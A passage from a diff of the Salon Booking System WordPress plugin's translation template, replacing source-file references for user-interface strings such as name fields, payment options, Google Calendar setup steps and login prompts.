System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:249\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:34\n+msgid \"First name\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:400, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:400, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:400, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:400, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:400, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:400\n-msgid \"e.g. You will receive a booking confirmation by email.If you do not receive an email in 5 minutes, check your Junk Mail or Spam Folder. If you need to change your reservation, please call \u003Cstrong>[SALON PHONE]\u003C\u002Fstrong> or send an e-mail to \u003Cstrong>[SALON EMAIL]\u003C\u002Fstrong>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:526\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FBooking.php:526\n+msgid \"First name can't be empty\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:426, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:426, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:426, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:426, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:426, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:426\n-msgid \"Customer fidelity score\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_availability_row.php:93\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:92\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:128\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:93\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_attendant_availability_row.php:92\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rule_row.php:128\n+msgid \"First shift\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:434, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:434, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:434, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:434, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:434, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:434\n-msgid \"Customers will collect a score based on their bookings value and their retention.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:53\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:53\n+msgid \"firstname\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:453, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:453, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:453, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:453, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:453, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:453\n-msgid \"Disable countdown on booking completion\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:225\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:225\n+msgid \"Fixed\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_checkout.php:461, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_checkout.php:461, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:461, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_checkout.php:461, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_checkout.php:461, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_checkout.php:461\n-msgid \"After the summing up step, skip the countdown to go to the \\\"Thank You\\\" page.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FPaymentDepositType.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FPaymentDepositType.php:24\n+msgid \"fixed\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_documentation.php:15, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_documentation.php:15, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_documentation.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_documentation.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_documentation.php:15\n-msgid \"Here some useful resouces to understand how this plugin works:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:186\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:186\n+msgid \"Fixed amount\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_documentation.php:19, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_documentation.php:19, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_documentation.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_documentation.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_documentation.php:19\n-msgid \"Documentation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:66\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:66\n+msgid \"\"\n+\"Follow these instructions to set-up your Google Calendar feature \u003Cbr \u002F>\u003Cbr \u002F>\"\n+\"Whatch this video tutorial: https:\u002F\u002Fscreencast.com\u002Ft\u002FX5UqZLUb\u003Cbr \u002F>\u003Cbr \u002F>1) \"\n+\"Go to Google Developer Console\u003Cbr \u002F>https:\u002F\u002Fconsole.developers.google.com\u003Cbr \"\n+\"\u002F>\u003Cbr \u002F>2 ) Click on Use Google APIs\u003Cbr \u002F>\u003Cbr \u002F>3 ) Click on Credentials \"\n+\"link on left sidebar\u003Cbr \u002F>\u003Cbr \u002F>4 ) click on New Credential > OAuth ID\u003Cbr \u002F>\"\n+\"\u003Cbr \u002F>5 ) Select Web application and click \\\"Create\\\"\u003Cbr \u002F>\u003Cbr \u002F>6 ) Set a \"\n+\"name for your App ( your website name )\u003Cbr \u002F>\u003Cbr \u002F>7 ) Paste the URL of your \"\n+\"website\u003Cbr \u002F>\u003Cbr \u002F>8 ) Copy the Redirect URI from Salon Booking settings > \"\n+\"Google Calendar field and paste inside the Authorized redirect URIs field \"\n+\"and click \\\"Create\\\". \u003Cbr \u002F>\u003Cbr \u002F>9 ) Copy and paste your Client ID inside \"\n+\"Salon Booking settings > Google Calendar > Google Client Secret field and do \"\n+\"the same thing with the Client Secret field. Then click on \\\"Update \"\n+\"settings\\\". \u003Cbr \u002F>\u003Cbr \u002F>10) Enable Google Calendar and click Update settings \"\n+\"- you will be redirected to a Google authorisation page where you need to \"\n+\"click on \\\"Allow\\\" button. Then you'll be automatically redirected to the \"\n+\"Salon Booking > Google Calendar page. \u003Cbr \u002F>\u003Cbr \u002F>11) Select which  Google \"\n+\"Calendar you want to use to publish all the new bookings.\u003Cbr \u002F>\u003Cbr \u002F>Use the \"\n+\"\\\"Synchronise booking\\\" button to populate your selected Google Calendar \"\n+\"with all current reservations. \u003Cbr \u002F>\u003Cbr \u002F>In case of need you can reset \"\n+\"your Google Calendar from all the reservations using the \\\"Delete all Google \"\n+\"Calendar Events\\\" button.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:112\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:112\n+msgid \"\"\n+\"For high-traffic sites, WordPress cron is sufficient. However, if you \"\n+\"experience issues with WordPress cron, you can set up an external cron \"\n+\"service.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_documentation.php:22, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_documentation.php:22, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_documentation.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_documentation.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_documentation.php:22\n-msgid \"Video tutorials\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:37\n+msgid \"\"\n+\"For multi-service bookings, the combined total duration of all selected \"\n+\"services is used for alignment.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_documentation.php:25, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_documentation.php:25, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_documentation.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_documentation.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_documentation.php:25\n-msgid \"Tips and suggestions\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:621\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:621\n+msgid \"Force Logout All Salon Staff\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_documentation.php:34, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_documentation.php:34, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_documentation.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_documentation.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_documentation.php:34\n-msgid \"Are you experiencing an issue with our plugin? Follow this guide first:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:624\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:624\n+msgid \"Force logout all salon staff users\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_documentation.php:37, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_documentation.php:37, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_documentation.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_documentation.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_documentation.php:37\n-msgid \"Troubleshoot\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalonMyAccount.php:36\n+msgid \"Forgot password?\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_documentation.php:43, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_documentation.php:43, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_documentation.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_documentation.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_documentation.php:43\n-msgid \"If you need more assistance o report a bug follow these instructions:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:75\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FPreviewBulkFeedback.php:75\n+msgid \"Found %d eligible booking\"\n+msgid_plural \"Found %d eligible bookings\"\n+msgstr[0] \"\"\n+msgstr[1] \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFormatter.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FAdminRuleLog.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FAdminRuleLog.php:35\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFormatter.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FAdminRuleLog.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FAdminRuleLog.php:35\n+msgid \"free\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_documentation.php:46, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_documentation.php:46, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_documentation.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_documentation.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_documentation.php:46\n-msgid \"\u003Cstrong>PRO\u003C\u002Fstrong> users please send and email to\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:34\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FDaysOfWeek.php:34\n+msgid \"Friday\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_documentation.php:49, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_documentation.php:49, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_documentation.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_documentation.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_documentation.php:49\n-msgid \"\u003Cstrong>FREE\u003C\u002Fstrong> users please post the problem on \u003Ca href=\\\"https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Fsalon-booking-system\\\" target=\\\"blank\\\">worpdress.org\u003C\u002Fa> official forum. \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:130\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:556\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:130\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:556\n+msgid \"From\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_documentation.php:59, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_documentation.php:59, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_documentation.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_documentation.php:59, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_documentation.php:59\n-msgid \"Rate us!\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_services_item_400.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_services_item_600.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_services_item_900.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:123\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:163\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:157\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_services_item_400.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_services_item_600.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_services_item_900.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:123\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:163\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:157\n+msgid \"from\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_documentation.php:60, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_documentation.php:60, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:60, 